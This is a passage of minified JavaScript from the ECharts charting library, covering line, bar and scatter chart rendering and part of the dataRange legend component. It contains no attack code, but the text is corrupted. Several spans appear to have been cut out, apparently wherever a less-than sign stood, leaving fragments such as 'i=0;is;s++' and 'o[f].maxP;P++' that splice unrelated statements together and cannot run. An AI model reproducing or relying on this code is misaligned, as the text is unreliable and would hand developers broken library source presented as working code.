r({zlevel:p.zlevel,z:p.z,style:{miterLimit:g,pointList:h.clone(X).concat([[X[X.length-1][4],X[X.length-1][5]],[X[0][4],X[0][5]]]),brushType:"fill",smooth:this._getSmooth(p.smooth),smoothConstraint:u,color:_?_:m.alpha(y,.5)},highlightStyle:{brushType:"fill"},hoverable:!1,_main:!0,_seriesIndex:d,_orient:s});l.pack(J,V[d],d,0,L,V[d].name),this.shapeList.push(J)}}}},_getBbox:function(e,t){var i=this.component.grid.getBbox(),n=this.xMarkMap[e];return null!=n.minX0?[[Math.min(n.minX0,n.maxX0,n.minX1,n.maxX1),Math.min(n.minY0,n.maxY0,n.minY1,n.maxY1)],[Math.max(n.minX0,n.maxX0,n.minX1,n.maxX1),Math.max(n.minY0,n.maxY0,n.minY1,n.maxY1)]]:("horizontal"===t?(i[0][1]=Math.min(n.minY,n.maxY),i[1][1]=Math.max(n.minY,n.maxY)):(i[0][0]=Math.min(n.minX,n.maxX),i[1][0]=Math.max(n.minX,n.maxX)),i)},_isLarge:function(e,t){return t.length<2?!1:"horizontal"===e?Math.abs(t[0][0]-t[1][0])<.5:Math.abs(t[0][1]-t[1][1])<.5},_getLargePointList:function(e,t,i){var n;n="horizontal"===e?this.component.grid.getWidth():this.component.grid.getHeight();var a=t.length,o=[];if("function"!=typeof i)switch(i){case"min":i=function(e){return Math.max.apply(null,e)};break;case"max":i=function(e){return Math.min.apply(null,e)};break;case"average":i=function(e){for(var t=0,i=0;is;s++){var l=Math.floor(a/n*s),h=Math.min(Math.floor(a/n*(s+1)),a);if(!(l>=h)){for(var m=l;h>m;m++)r[m-l]="horizontal"===e?t[m][1]:t[m][0];r.length=h-l;for(var V=i(r),U=-1,d=1/0,m=l;h>m;m++){var p="horizontal"===e?t[m][1]:t[m][0],c=Math.abs(p-V);d>c&&(U=m,d=c)}var u=t[U].slice();"horizontal"===e?u[1]=V:u[0]=V,o.push(u)}}return o},_getSmooth:function(e){return e?.3:0},_getCalculableItem:function(e,t,i,n,a,o){var r=this.series,l=r[e].calculableHolderColor||this.ecTheme.calculableHolderColor||s.calculableHolderColor,h=this._getSymbol(e,t,i,n,a,o);return h.style.color=l,h.style.strokeColor=l,h.rotation=[0,0],h.hoverable=!1,h.draggable=!1,h.style.text=void 0,h},_getSymbol:function(e,t,i,n,a,o){var r=this.series,s=r[e],l=s.data[t],h=this.getSymbolShape(s,e,l,t,i,n,a,this._sIndex2ShapeMap[e],this._sIndex2ColorMap[e],"#fff","vertical"===o?"horizontal":"vertical");return h.zlevel=s.zlevel,h.z=s.z+1,this.deepQuery([l,s,this.option],"calculable")&&(this.setCalculable(h),h.draggable=!0),h},getMarkCoord:function(e,t){var i=this.series[e],n=this.xMarkMap[e],a=this.component.xAxis.getAxis(i.xAxisIndex),o=this.component.yAxis.getAxis(i.yAxisIndex);if(t.type&&("max"===t.type||"min"===t.type||"average"===t.type)){var r=null!=t.valueIndex?t.valueIndex:null!=n.maxX0?"1":"";return[n[t.type+"X"+r],n[t.type+"Y"+r],n[t.type+"Line"+r],n[t.type+r]]}return["string"!=typeof t.xAxis&&a.getCoordByIndex?a.getCoordByIndex(t.xAxis||0):a.getCoord(t.xAxis||0),"string"!=typeof t.yAxis&&o.getCoordByIndex?o.getCoordByIndex(t.yAxis||0):o.getCoord(t.yAxis||0)]},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},ontooltipHover:function(e,t){for(var i,n,a=e.seriesIndex,o=e.dataIndex,r=a.length;r--;)if(i=this.finalPLMap[a[r]])for(var s=0,l=i.length;l>s;s++){n=i[s];for(var h=0,m=n.length;m>h;h++)o===n[h][2]&&t.push(this._getSymbol(a[r],n[h][2],n[h][3],n[h][0],n[h][1],"horizontal"))}},addDataAnimation:function(e,t){function i(){c--,0===c&&t&&t()}function n(e){e.style.controlPointList=null}for(var a=this.series,o={},r=0,s=e.length;s>r;r++)o[e[r][0]]=e[r];for(var l,h,m,V,U,d,p,c=0,r=this.shapeList.length-1;r>=0;r--)if(U=this.shapeList[r]._seriesIndex,o[U]&&!o[U][3]){if(this.shapeList[r]._main&&this.shapeList[r].style.pointList.length>1){if(d=this.shapeList[r].style.pointList,h=Math.abs(d[0][0]-d[1][0]),V=Math.abs(d[0][1]-d[1][1]),p="horizontal"===this.shapeList[r]._orient,o[U][2]){if("half-smooth-polygon"===this.shapeList[r].type){var u=d.length;this.shapeList[r].style.pointList[u-3]=d[u-2],this.shapeList[r].style.pointList[u-3][p?0:1]=d[u-4][p?0:1],this.shapeList[r].style.pointList[u-2]=d[u-1]}this.shapeList[r].style.pointList.pop(),p?(l=h,m=0):(l=0,m=-V)}else{if(this.shapeList[r].style.pointList.shift(),"half-smooth-polygon"===this.shapeList[r].type){var y=this.shapeList[r].style.pointList.pop();p?y[0]=d[0][0]:y[1]=d[0][1],this.shapeList[r].style.pointList.push(y)}p?(l=-h,m=0):(l=0,m=V)}this.shapeList[r].style.controlPointList=null,this.zr.modShape(this.shapeList[r])}else{if(o[U][2]&&this.shapeList[r]._dataIndex===a[U].data.length-1){this.zr.delShape(this.shapeList[r].id);continue}if(!o[U][2]&&0===this.shapeList[r]._dataIndex){this.zr.delShape(this.shapeList[r].id);continue}}this.shapeList[r].position=[0,0],c++,this.zr.animate(this.shapeList[r].id,"").when(this.query(this.option,"animationDurationUpdate"),{position:[l,m]}).during(n).done(i).start()}c||t&&t()}},o.prototype.iconLibrary.legendLineIcon=i,h.inherits(t,n),e("../chart").define("line",t),t}),i("echarts/util/shape/HalfSmoothPolygon",["require","zrender/shape/Base","zrender/shape/util/smoothBezier","zrender/tool/util","zrender/shape/Polygon"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/util/smoothBezier"),a=e("zrender/tool/util");return t.prototype={type:"half-smooth-polygon",buildPath:function(t,i){var a=i.pointList;if(!(a.length<2))if(i.smooth){var o=n(a.slice(0,-2),i.smooth,!1,i.smoothConstraint);t.moveTo(a[0][0],a[0][1]);for(var r,s,l,h=a.length,m=0;h-3>m;m++)r=o[2*m],s=o[2*m+1],l=a[m+1],t.bezierCurveTo(r[0],r[1],s[0],s[1],l[0],l[1]);t.lineTo(a[h-2][0],a[h-2][1]),t.lineTo(a[h-1][0],a[h-1][1]),t.lineTo(a[0][0],a[0][1])}else e("zrender/shape/Polygon").prototype.buildPath(t,i)}},a.inherits(t,i),t}),i("echarts/chart/bar",["require","./base","zrender/shape/Rectangle","../component/axis","../component/grid","../component/dataZoom","../config","../util/ecData","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Rectangle");e("../component/axis"),e("../component/grid"),e("../component/dataZoom");var a=e("../config");a.bar={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,barMinHeight:0,barGap:"30%",barCategoryGap:"20%",itemStyle:{normal:{barBorderColor:"#fff",barBorderRadius:0,barBorderWidth:0,label:{show:!1}},emphasis:{barBorderColor:"#fff",barBorderRadius:0,barBorderWidth:0,label:{show:!1}}}};var o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/color");return t.prototype={type:a.CHART_TYPE_BAR,_buildShape:function(){this._buildPosition()},_buildNormal:function(e,t,i,o,r){for(var s,l,h,m,V,U,d,p,c,u,y,g,b=this.series,f=i[0][0],k=b[f],x="horizontal"==r,_=this.component.xAxis,L=this.component.yAxis,W=x?_.getAxis(k.xAxisIndex):L.getAxis(k.yAxisIndex),X=this._mapSize(W,i),v=X.gap,w=X.barGap,K=X.barWidthMap,I=X.barMaxWidthMap,J=X.barWidth,C=X.barMinHeightMap,S=X.interval,E=this.deepQuery([this.ecTheme,a],"island.r"),F=0,T=t;T>F&&null!=W.getNameByIndex(F);F++){x?m=W.getCoordByIndex(F)-v/2:V=W.getCoordByIndex(F)+v/2;for(var z=0,A=i.length;A>z;z++){var M=b[i[z][0]].yAxisIndex||0,O=b[i[z][0]].xAxisIndex||0;s=x?L.getAxis(M):_.getAxis(O),d=U=c=p=s.getCoord(0);for(var P=0,D=i[z].length;D>P;P++)f=i[z][P],k=b[f],y=k.data[F],g=this.getDataFromOption(y,"-"),o[f]=o[f]||{min:Number.POSITIVE_INFINITY,max:Number.NEGATIVE_INFINITY,sum:0,counter:0,average:0},h=Math.min(I[f]||Number.MAX_VALUE,K[f]||J),"-"!==g&&(g>0?(l=P>0?s.getCoordSize(g):x?d-s.getCoord(g):s.getCoord(g)-d,1===D&&C[f]>l&&(l=C[f]),x?(U-=l,V=U):(m=U,U+=l)):0>g?(l=P>0?s.getCoordSize(g):x?s.getCoord(g)-c:c-s.getCoord(g),1===D&&C[f]>l&&(l=C[f]),x?(V=p,p+=l):(p-=l,m=p)):(l=0,x?(U-=l,V=U):(m=U,U+=l)),o[f][F]=x?m+h/2:V-h/2,o[f].min>g&&(o[f].min=g,x?(o[f].minY=V,o[f].minX=o[f][F]):(o[f].minX=m+l,o[f].minY=o[f][F])),o[f].maxP;P++)f=i[z][P],k=b[f],y=k.data[F],g=this.getDataFromOption(y,"-"),h=Math.min(I[f]||Number.MAX_VALUE,K[f]||J),"-"==g&&this.deepQuery([y,k,this.option],"calculable")&&(x?(U-=E,V=U):(m=U,U+=E),u=this._getBarItem(f,F,W.getNameByIndex(F),m,V-(x?0:h),x?h:E,x?E:h,x?"vertical":"horizontal"),u.hoverable=!1,u.draggable=!1,u.style.lineWidth=1,u.style.brushType="stroke",u.style.strokeColor=k.calculableHolderColor||this.ecTheme.calculableHolderColor||a.calculableHolderColor,this.shapeList.push(new n(u)));x?m+=h+w:V-=h+w}}this._calculMarkMapXY(o,i,x?"y":"x")},_buildHorizontal:function(e,t,i,n){return this._buildNormal(e,t,i,n,"horizontal")},_buildVertical:function(e,t,i,n){return this._buildNormal(e,t,i,n,"vertical")},_buildOther:function(e,t,i,a){for(var o=this.series,r=0,s=i.length;s>r;r++)for(var l=0,h=i[r].length;h>l;l++){var m=i[r][l],V=o[m],U=V.xAxisIndex||0,d=this.component.xAxis.getAxis(U),p=d.getCoord(0),c=V.yAxisIndex||0,u=this.component.yAxis.getAxis(c),y=u.getCoord(0);a[m]=a[m]||{min0:Number.POSITIVE_INFINITY,min1:Number.POSITIVE_INFINITY,max0:Number.NEGATIVE_INFINITY,max1:Number.NEGATIVE_INFINITY,sum0:0,sum1:0,counter0:0,counter1:0,average0:0,average1:0};for(var g=0,b=V.data.length;b>g;g++){var f=V.data[g],k=this.getDataFromOption(f,"-");if(k instanceof Array){var x,_,L=d.getCoord(k[0]),W=u.getCoord(k[1]),X=[f,V],v=this.deepQuery(X,"barWidth")||10,w=this.deepQuery(X,"barHeight");null!=w?(x="horizontal",k[0]>0?(v=L-p,L-=v):v=k[0]<0?p-L:0,_=this._getBarItem(m,g,k[0],L,W-w/2,v,w,x)):(x="vertical",k[1]>0?w=y-W:k[1]<0?(w=W-y,W-=w):w=0,_=this._getBarItem(m,g,k[0],L-v/2,W,v,w,x)),this.shapeList.push(new n(_)),L=d.getCoord(k[0]),W=u.getCoord(k[1]),a[m].min0>k[0]&&(a[m].min0=k[0],a[m].minY0=W,a[m].minX0=L),a[m].max0k[1]&&(a[m].min1=k[1],a[m].minY1=W,a[m].minX1=L),a[m].max1=a&&(d=Math.floor(t.length/n),a=1);else if(n="string"==typeof U&&U.match(/%$/)?(e.getGap()*(100-parseFloat(U))/100).toFixed(2)-0:e.getGap()-U,"string"==typeof V&&V.match(/%$/)?(V=parseFloat(V)/100,a=+((n-m)/((t.length-1)*V+t.length-h)).toFixed(2),V=a*V):(V=parseFloat(V),a=+((n-m-V*(t.length-1))/(t.length-h)).toFixed(2)),0>=a)return this._mapSize(e,t,!0)}else if(n=h>1?"string"==typeof U&&U.match(/%$/)?+(e.getGap()*(100-parseFloat(U))/100).toFixed(2):e.getGap()-U:m,a=0,V=h>1?+((n-m)/(h-1)).toFixed(2):0,0>V)return this._mapSize(e,t,!0);return this._recheckBarMaxWidth(t,r,s,l,n,a,V,d)},_findSpecialBarSzie:function(e,t){for(var i,n,a,o,r=this.series,s={},l={},h={},m=0,V=0,U=0,d=e.length;d>U;U++)for(var p={barWidth:!1,barMaxWidth:!1},c=0,u=e[U].length;u>c;c++){var y=e[U][c],g=r[y];if(!t){if(p.barWidth)s[y]=i;else if(i=this.query(g,"barWidth"),null!=i){s[y]=i,V+=i,m++,p.barWidth=!0;for(var b=0,f=c;f>b;b++){var k=e[U][b];s[k]=i}}if(p.barMaxWidth)l[y]=n;else if(n=this.query(g,"barMaxWidth"),null!=n){l[y]=n,p.barMaxWidth=!0;for(var b=0,f=c;f>b;b++){var k=e[U][b];l[k]=n}}}h[y]=this.query(g,"barMinHeight"),a=null!=a?a:this.query(g,"barGap"),o=null!=o?o:this.query(g,"barCategoryGap")}return{barWidthMap:s,barMaxWidthMap:l,barMinHeightMap:h,sBarWidth:i,sBarMaxWidth:n,sBarWidthCounter:m,sBarWidthTotal:V,barGap:a,barCategoryGap:o}},_recheckBarMaxWidth:function(e,t,i,n,a,o,r,s){for(var l=0,h=e.length;h>l;l++){var m=e[l][0];i[m]&&i[m]0&&b.height>g&&b.width>g?(b.y+=g/2,b.height-=g,b.x+=g/2,b.width-=g):b.brushType="fill",m.highlightStyle.textColor=m.highlightStyle.color,m=this.addLabel(m,U,d,i,h);for(var f=[b,m.highlightStyle],k=0,x=f.length;x>k;k++){var _=f[k].textPosition;if("insideLeft"===_||"insideRight"===_||"insideTop"===_||"insideBottom"===_){var L=5;switch(_){case"insideLeft":f[k].textX=b.x+L,f[k].textY=b.y+b.height/2,f[k].textAlign="left",f[k].textBaseline="middle";break;case"insideRight":f[k].textX=b.x+b.width-L,f[k].textY=b.y+b.height/2,f[k].textAlign="right",f[k].textBaseline="middle";break;case"insideTop":f[k].textX=b.x+b.width/2,f[k].textY=b.y+L/2,f[k].textAlign="center",f[k].textBaseline="top";break;case"insideBottom":f[k].textX=b.x+b.width/2,f[k].textY=b.y+b.height-L/2,f[k].textAlign="center",f[k].textBaseline="bottom"}f[k].textPosition="specific",f[k].textColor=f[k].textColor||"#fff"}}return this.deepQuery([d,U,this.option],"calculable")&&(this.setCalculable(m),m.draggable=!0),o.pack(m,V[e],e,V[e].data[t],t,i),m},getMarkCoord:function(e,t){var i,n,a=this.series[e],o=this.xMarkMap[e],r=this.component.xAxis.getAxis(a.xAxisIndex),s=this.component.yAxis.getAxis(a.yAxisIndex);if(!t.type||"max"!==t.type&&"min"!==t.type&&"average"!==t.type)if(o.isHorizontal){i="string"==typeof t.xAxis&&r.getIndexByName?r.getIndexByName(t.xAxis):t.xAxis||0;var l=o[i];l=null!=l?l:"string"!=typeof t.xAxis&&r.getCoordByIndex?r.getCoordByIndex(t.xAxis||0):r.getCoord(t.xAxis||0),n=[l,s.getCoord(t.yAxis||0)]}else{i="string"==typeof t.yAxis&&s.getIndexByName?s.getIndexByName(t.yAxis):t.yAxis||0;var h=o[i];h=null!=h?h:"string"!=typeof t.yAxis&&s.getCoordByIndex?s.getCoordByIndex(t.yAxis||0):s.getCoord(t.yAxis||0),n=[r.getCoord(t.xAxis||0),h]}else{var m=null!=t.valueIndex?t.valueIndex:null!=o.maxX0?"1":"";n=[o[t.type+"X"+m],o[t.type+"Y"+m],o[t.type+"Line"+m],o[t.type+m]]}return n},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},addDataAnimation:function(e,t){function i(){c--,0===c&&t&&t()}for(var n=this.series,a={},r=0,s=e.length;s>r;r++)a[e[r][0]]=e[r];for(var l,h,m,V,U,d,p,c=0,r=this.shapeList.length-1;r>=0;r--)if(d=o.get(this.shapeList[r],"seriesIndex"),a[d]&&!a[d][3]&&"rectangle"===this.shapeList[r].type){if(p=o.get(this.shapeList[r],"dataIndex"),U=n[d],a[d][2]&&p===U.data.length-1){this.zr.delShape(this.shapeList[r].id);continue}if(!a[d][2]&&0===p){this.zr.delShape(this.shapeList[r].id);continue}"horizontal"===this.shapeList[r]._orient?(V=this.component.yAxis.getAxis(U.yAxisIndex||0).getGap(),m=a[d][2]?-V:V,l=0):(h=this.component.xAxis.getAxis(U.xAxisIndex||0).getGap(),l=a[d][2]?h:-h,m=0),this.shapeList[r].position=[0,0],c++,this.zr.animate(this.shapeList[r].id,"").when(this.query(this.option,"animationDurationUpdate"),{position:[l,m]}).done(i).start()}c||t&&t()}},r.inherits(t,i),e("../chart").define("bar",t),t}),i("echarts/chart/scatter",["require","./base","../util/shape/Symbol","../component/axis","../component/grid","../component/dataZoom","../component/dataRange","../config","zrender/tool/util","zrender/tool/color","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("../util/shape/Symbol");e("../component/axis"),e("../component/grid"),e("../component/dataZoom"),e("../component/dataRange");var a=e("../config");a.scatter={zlevel:0,z:2,clickable:!0,legendHoverLink:!0,xAxisIndex:0,yAxisIndex:0,symbolSize:4,large:!1,largeThreshold:2e3,itemStyle:{normal:{label:{show:!1}},emphasis:{label:{show:!1}}}};var o=e("zrender/tool/util"),r=e("zrender/tool/color");return t.prototype={type:a.CHART_TYPE_SCATTER,_buildShape:function(){var e=this.series;this._sIndex2ColorMap={},this._symbol=this.option.symbolList,this._sIndex2ShapeMap={},this.selectedMap={},this.xMarkMap={};for(var t,i,n,o,s=this.component.legend,l=[],h=0,m=e.length;m>h;h++)if(t=e[h],i=t.name,t.type===a.CHART_TYPE_SCATTER){if(e[h]=this.reformOption(e[h]),this.legendHoverLink=e[h].legendHoverLink||this.legendHoverLink,this._sIndex2ShapeMap[h]=this.query(t,"symbol")||this._symbol[h%this._symbol.length],s){if(this.selectedMap[i]=s.isSelected(i),this._sIndex2ColorMap[h]=r.alpha(s.getColor(i),.5),n=s.getItemShape(i)){var o=this._sIndex2ShapeMap[h];n.style.brushType=o.match("empty")?"stroke":"both",o=o.replace("empty","").toLowerCase(),o.match("rectangle")&&(n.style.x+=Math.round((n.style.width-n.style.height)/2),n.style.width=n.style.height),o.match("star")&&(n.style.n=o.replace("star","")-0||5,o="star"),o.match("image")&&(n.style.image=o.replace(new RegExp("^image:\\/\\/"),""),n.style.x+=Math.round((n.style.width-n.style.height)/2),n.style.width=n.style.height,o="image"),n.style.iconType=o,s.setItemShape(i,n)}}else this.selectedMap[i]=!0,this._sIndex2ColorMap[h]=r.alpha(this.zr.getColor(h),.5);this.selectedMap[i]&&l.push(h)}this._buildSeries(l),this.addShapeList()},_buildSeries:function(e){if(0!==e.length){for(var t,i,n,a,o,r,s,l,h=this.series,m={},V=0,U=e.length;U>V;V++)if(t=e[V],i=h[t],0!==i.data.length){o=this.component.xAxis.getAxis(i.xAxisIndex||0),r=this.component.yAxis.getAxis(i.yAxisIndex||0),m[t]=[];for(var d=0,p=i.data.length;p>d;d++)n=i.data[d],a=this.getDataFromOption(n,"-"),"-"===a||a.length<2||(s=o.getCoord(a[0]),l=r.getCoord(a[1]),m[t].push([s,l,d,n.name||""]));this.xMarkMap[t]=this._markMap(o,r,i.data,m[t]),this.buildMark(t)}this._buildPointList(m)}},_markMap:function(e,t,i,n){for(var a,o={min0:Number.POSITIVE_INFINITY,max0:Number.NEGATIVE_INFINITY,sum0:0,counter0:0,average0:0,min1:Number.POSITIVE_INFINITY,max1:Number.NEGATIVE_INFINITY,sum1:0,counter1:0,average1:0},r=0,s=n.length;s>r;r++)a=i[n[r][2]].value||i[n[r][2]],o.min0>a[0]&&(o.min0=a[0],o.minY0=n[r][1],o.minX0=n[r][0]),o.max0a[1]&&(o.min1=a[1],o.minY1=n[r][1],o.minX1=n[r][0]),o.max1t.largeThreshold)this.shapeList.push(this._getLargeSymbol(t,i,this.getItemStyleColor(this.query(t,"itemStyle.normal.color"),r,-1)||this._sIndex2ColorMap[r]));else for(var s=0,l=i.length;l>s;s++)n=i[s],a=this._getSymbol(r,n[2],n[3],n[0],n[1]),a&&this.shapeList.push(a)},_getSymbol:function(e,t,i,n,a){var o,r=this.series,s=r[e],l=s.data[t],h=this.component.dataRange;if(h){if(o=isNaN(l[2])?this._sIndex2ColorMap[e]:h.getColor(l[2]),!o)return null}else o=this._sIndex2ColorMap[e];var m=this.getSymbolShape(s,e,l,t,i,n,a,this._sIndex2ShapeMap[e],o,"rgba(0,0,0,0)","vertical");return m.zlevel=s.zlevel,m.z=s.z,m._main=!0,m},_getLargeSymbol:function(e,t,i){return new n({zlevel:e.zlevel,z:e.z,_main:!0,hoverable:!1,style:{pointList:t,color:i,strokeColor:i},highlightStyle:{pointList:[]}})},getMarkCoord:function(e,t){var i,n=this.series[e],a=this.xMarkMap[e],o=this.component.xAxis.getAxis(n.xAxisIndex),r=this.component.yAxis.getAxis(n.yAxisIndex);if(!t.type||"max"!==t.type&&"min"!==t.type&&"average"!==t.type)i=["string"!=typeof t.xAxis&&o.getCoordByIndex?o.getCoordByIndex(t.xAxis||0):o.getCoord(t.xAxis||0),"string"!=typeof t.yAxis&&r.getCoordByIndex?r.getCoordByIndex(t.yAxis||0):r.getCoord(t.yAxis||0)];else{var s=null!=t.valueIndex?t.valueIndex:1;i=[a[t.type+"X"+s],a[t.type+"Y"+s],a[t.type+"Line"+s],a[t.type+s]]}return i},refresh:function(e){e&&(this.option=e,this.series=e.series),this.backupShapeList(),this._buildShape()},ondataRange:function(e,t){this.component.dataRange&&(this.refresh(),t.needRefresh=!0)}},o.inherits(t,i),e("../chart").define("scatter",t),t}),i("echarts/component/dataRange",["require","./base","zrender/shape/Text","zrender/shape/Rectangle","../util/shape/HandlePolygon","../config","zrender/tool/util","zrender/tool/event","zrender/tool/area","zrender/tool/color","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var s=this;s._ondrift=function(e,t){return s.__ondrift(this,e,t)},s._ondragend=function(){return s.__ondragend()},s._dataRangeSelected=function(e){return s.__dataRangeSelected(e)},s._dispatchHoverLink=function(e){return s.__dispatchHoverLink(e)},s._onhoverlink=function(e){return s.__onhoverlink(e); + +},this._selectedMap={},this._range={},this.refresh(a),t.bind(r.EVENT.HOVER,this._onhoverlink)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Rectangle"),o=e("../util/shape/HandlePolygon"),r=e("../config");r.dataRange={zlevel:0,z:4,show:!0,orient:"vertical",x:"left",y:"bottom",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:10,itemWidth:20,itemHeight:14,precision:0,splitNumber:5,splitList:null,calculable:!1,selectedMode:!0,hoverLink:!0,realtime:!0,color:["#006edd","#e0ffff"],textStyle:{color:"#333"}};var s=e("zrender/tool/util"),l=e("zrender/tool/event"),h=e("zrender/tool/area"),m=e("zrender/tool/color");return t.prototype={type:r.COMPONENT_TYPE_DATARANGE,_textGap:10,_buildShape:function(){if(this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._isContinuity()?this._buildGradient():this._buildItem(),this.dataRangeOption.show)for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e]);this._syncShapeFromRange()},_buildItem:function(){var e,t,i,o,r=this._valueTextList,s=r.length,l=this.getFont(this.dataRangeOption.textStyle),m=this._itemGroupLocation.x,V=this._itemGroupLocation.y,U=this.dataRangeOption.itemWidth,d=this.dataRangeOption.itemHeight,p=this.dataRangeOption.itemGap,c=h.getTextHeight("国",l);"vertical"==this.dataRangeOption.orient&&"right"==this.dataRangeOption.x&&(m=this._itemGroupLocation.x+this._itemGroupLocation.width-U);var u=!0;this.dataRangeOption.text&&(u=!1,this.dataRangeOption.text[0]&&(i=this._getTextShape(m,V,this.dataRangeOption.text[0]),"horizontal"==this.dataRangeOption.orient?m+=h.getTextWidth(this.dataRangeOption.text[0],l)+this._textGap:(V+=c+this._textGap,i.style.y+=c/2+this._textGap,i.style.textBaseline="bottom"),this.shapeList.push(new n(i))));for(var y=0;s>y;y++)e=r[y],o=this.getColorByIndex(y),t=this._getItemShape(m,V,U,d,this._selectedMap[y]?o:"#ccc"),t._idx=y,t.onmousemove=this._dispatchHoverLink,this.dataRangeOption.selectedMode&&(t.clickable=!0,t.onclick=this._dataRangeSelected),this.shapeList.push(new a(t)),u&&(i={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:m+U+5,y:V,color:this._selectedMap[y]?this.dataRangeOption.textStyle.color:"#ccc",text:r[y],textFont:l,textBaseline:"top"},highlightStyle:{brushType:"fill"}},"vertical"==this.dataRangeOption.orient&&"right"==this.dataRangeOption.x&&(i.style.x-=U+10,i.style.textAlign="right"),i._idx=y,i.onmousemove=this._dispatchHoverLink,this.dataRangeOption.selectedMode&&(i.clickable=!0,i.onclick=this._dataRangeSelected),this.shapeList.push(new n(i))),"horizontal"==this.dataRangeOption.orient?m+=U+(u?5:0)+(u?h.getTextWidth(e,l):0)+p:V+=d+p;!u&&this.dataRangeOption.text[1]&&("horizontal"==this.dataRangeOption.orient?m=m-p+this._textGap:V=V-p+this._textGap,i=this._getTextShape(m,V,this.dataRangeOption.text[1]),"horizontal"!=this.dataRangeOption.orient&&(i.style.y-=5,i.style.textBaseline="top"),this.shapeList.push(new n(i)))},_buildGradient:function(){var t,i,o=this.getFont(this.dataRangeOption.textStyle),r=this._itemGroupLocation.x,s=this._itemGroupLocation.y,l=this.dataRangeOption.itemWidth,m=this.dataRangeOption.itemHeight,V=h.getTextHeight("国",o),U=10,d=!0;this.dataRangeOption.text&&(d=!1,this.dataRangeOption.text[0]&&(i=this._getTextShape(r,s,this.dataRangeOption.text[0]),"horizontal"==this.dataRangeOption.orient?r+=h.getTextWidth(this.dataRangeOption.text[0],o)+this._textGap:(s+=V+this._textGap,i.style.y+=V/2+this._textGap,i.style.textBaseline="bottom"),this.shapeList.push(new n(i))));for(var p=e("zrender/tool/color"),c=1/(this.dataRangeOption.color.length-1),u=[],y=0,g=this.dataRangeOption.color.length;g>y;y++)u.push([y*c,this.dataRangeOption.color[y]]);"horizontal"==this.dataRangeOption.orient?(t={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:r,y:s,width:l*U,height:m,color:p.getLinearGradient(r,s,r+l*U,s,u)},hoverable:!1},r+=l*U+this._textGap):(t={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:r,y:s,width:l,height:m*U,color:p.getLinearGradient(r,s,r,s+m*U,u)},hoverable:!1},s+=m*U+this._textGap),this.shapeList.push(new a(t)),this._calculableLocation=t.style,this.dataRangeOption.calculable&&(this._buildFiller(),this._bulidMask(),this._bulidHandle()),this._buildIndicator(),!d&&this.dataRangeOption.text[1]&&(i=this._getTextShape(r,s,this.dataRangeOption.text[1]),this.shapeList.push(new n(i)))},_buildIndicator:function(){var e,t,i=this._calculableLocation.x,n=this._calculableLocation.y,a=this._calculableLocation.width,r=this._calculableLocation.height,s=5;"horizontal"==this.dataRangeOption.orient?"bottom"!=this.dataRangeOption.y?(e=[[i,n+r],[i-s,n+r+s],[i+s,n+r+s]],t="bottom"):(e=[[i,n],[i-s,n-s],[i+s,n-s]],t="top"):"right"!=this.dataRangeOption.x?(e=[[i+a,n],[i+a+s,n-s],[i+a+s,n+s]],t="right"):(e=[[i,n],[i-s,n-s],[i-s,n+s]],t="left"),this._indicatorShape={style:{pointList:e,color:"#fff",__rect:{x:Math.min(e[0][0],e[1][0]),y:Math.min(e[0][1],e[1][1]),width:s*("horizontal"==this.dataRangeOption.orient?2:1),height:s*("horizontal"==this.dataRangeOption.orient?1:2)}},highlightStyle:{brushType:"fill",textPosition:t,textColor:this.dataRangeOption.textStyle.color},hoverable:!1},this._indicatorShape=new o(this._indicatorShape)},_buildFiller:function(){this._fillerShape={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{x:this._calculableLocation.x,y:this._calculableLocation.y,width:this._calculableLocation.width,height:this._calculableLocation.height,color:"rgba(255,255,255,0)"},highlightStyle:{strokeColor:"rgba(255,255,255,0.5)",lineWidth:1},draggable:!0,ondrift:this._ondrift,ondragend:this._ondragend,onmousemove:this._dispatchHoverLink,_type:"filler"},this._fillerShape=new a(this._fillerShape),this.shapeList.push(this._fillerShape)},_bulidHandle:function(){var e,t,i,n,a,r,s,l,m=this._calculableLocation.x,V=this._calculableLocation.y,U=this._calculableLocation.width,d=this._calculableLocation.height,p=this.getFont(this.dataRangeOption.textStyle),c=h.getTextHeight("国",p),u=Math.max(h.getTextWidth(this._textFormat(this.dataRangeOption.max),p),h.getTextWidth(this._textFormat(this.dataRangeOption.min),p))+2;"horizontal"==this.dataRangeOption.orient?"bottom"!=this.dataRangeOption.y?(e=[[m,V],[m,V+d+c],[m-c,V+d+c],[m-1,V+d],[m-1,V]],t=m-u/2-c,i=V+d+c/2+2,n={x:m-u-c,y:V+d,width:u+c,height:c},a=[[m+U,V],[m+U,V+d+c],[m+U+c,V+d+c],[m+U+1,V+d],[m+U+1,V]],r=m+U+u/2+c,s=i,l={x:m+U,y:V+d,width:u+c,height:c}):(e=[[m,V+d],[m,V-c],[m-c,V-c],[m-1,V],[m-1,V+d]],t=m-u/2-c,i=V-c/2-2,n={x:m-u-c,y:V-c,width:u+c,height:c},a=[[m+U,V+d],[m+U,V-c],[m+U+c,V-c],[m+U+1,V],[m+U+1,V+d]],r=m+U+u/2+c,s=i,l={x:m+U,y:V-c,width:u+c,height:c}):(u+=c,"right"!=this.dataRangeOption.x?(e=[[m,V],[m+U+c,V],[m+U+c,V-c],[m+U,V-1],[m,V-1]],t=m+U+u/2+c/2,i=V-c/2,n={x:m+U,y:V-c,width:u+c,height:c},a=[[m,V+d],[m+U+c,V+d],[m+U+c,V+c+d],[m+U,V+1+d],[m,V+d+1]],r=t